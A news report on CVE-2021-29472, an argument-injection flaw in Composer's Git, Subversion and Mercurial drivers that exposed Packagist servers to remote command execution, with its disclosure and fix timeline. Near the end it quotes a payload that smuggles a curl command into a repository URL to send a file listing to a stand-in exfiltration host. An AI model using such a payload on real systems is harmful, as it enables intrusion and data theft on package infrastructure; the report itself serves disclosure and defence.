A critical vulnerability (CVE-2021-29472) has been identified in the Composer dependency manager, allowing arbitrary commands to be executed on the system when processing a package with a specially crafted URL value that specifies the address for downloading source files. The issue occurs in the GitDriver, SvnDriver, and HgDriver components used with version control systems Git, Subversion, and Mercurial. The vulnerability has been fixed in releases Composer 1.10.22 and 2.0.13.
It is particularly noted that the issue mainly affected the default package repository used in Composer, Packagist, which includes 306,000 packages for PHP developers and handles over 1.4 billion downloads monthly. Experiments showed that if attackers had information about the vulnerability, they could gain control over the Packagist infrastructure, intercept the credentials of maintainers, or redirect package downloads to a third-party server, delivering altered package versions to inject backdoors during dependency installation.
The danger to end-users is limited since the contents of composer.json are usually defined by the user, and links to source files are referred to when accessing third-party repositories, which are usually trusted. The primary impact was on the Packagist.org repository and the Private Packagist service, which calls Composer with data provided by users. Malicious actors could execute their code on the Packagist servers by uploading a specially crafted package.
The Packagist team fixed the vulnerability within 12 hours of receiving the vulnerability report. Researchers privately notified the Packagist developers on April 22, and the issue was resolved the same day. A public update of Composer addressing the vulnerability was released on April 27, and details were disclosed on April 28. An audit of the logs on Packagist servers did not uncover any suspicious activity related to the vulnerability.
The problem is caused by an error in the URL validation code in the root composer.json file and the links for downloading source texts. The error has been present in the code since November 2011. In Packagist, special layers are used to allow code loading without tying it to a specific version control system, executed by calling 'fromShellCommandline' with command-line arguments. For example, for git, the command 'git ls-remote --heads $URL' is called, where the URL is processed by the method 'ProcessExecutor::escape($url)', which escapes potentially dangerous constructs like '$(...)' or '`...`'.
The crux of the problem is that the method ProcessExecutor::escape did not escape the sequence '--', allowing any additional call parameters to be specified in the URL. Such escaping was absent in the GitDriver.php, SvnDriver.php, and HgDriver.php drivers. An attack through GitDriver.php was hindered by the fact that the 'git ls-remote' command did not support specifying additional arguments after the path. An attack on HgDriver.php was possible by passing the '--config' parameter to the 'hq' utility, which allowed the execution of any command by manipulating the 'alias.identify' setting. For instance, to download and execute code via the curl utility, one could specify: --config=alias.identify=!curl http://exfiltration-host.tld --data "$(ls -alh)".
By placing a test package with such a URL on Packagist, researchers verified that after its placement on their server, an HTTP request was received from one of servers Packagist in AWS, containing a listing of files in the current directory.
Source: opennet.ru
